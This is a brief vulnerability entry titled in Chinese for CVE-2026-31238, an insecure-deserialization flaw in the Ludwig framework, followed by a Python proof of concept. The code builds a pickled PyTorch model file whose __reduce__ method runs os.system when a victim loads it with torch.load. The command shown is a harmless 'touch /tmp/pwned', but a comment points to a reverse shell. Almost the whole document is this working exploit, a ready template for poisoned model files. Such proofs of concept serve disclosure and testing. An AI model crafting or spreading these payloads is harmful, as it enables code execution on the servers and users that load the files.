CVE-2026-31238 Ludwig框架不安全反序列化漏洞

import pickle import os import torch # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a shell command (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Create an instance of the malicious class payload = MaliciousPayload() # Serialize the payload and save it as a PyTorch model file # This simulates a malicious model file that an attacker would upload with open('malicious_model.pt', 'wb') as f: pickle.dump(payload, f) print("Malicious PyTorch model 'malicious_model.pt' generated successfully.") # When the victim loads this file using torch.load() without weights_only=True, # the command 'touch /tmp/pwned' will be executed on the server.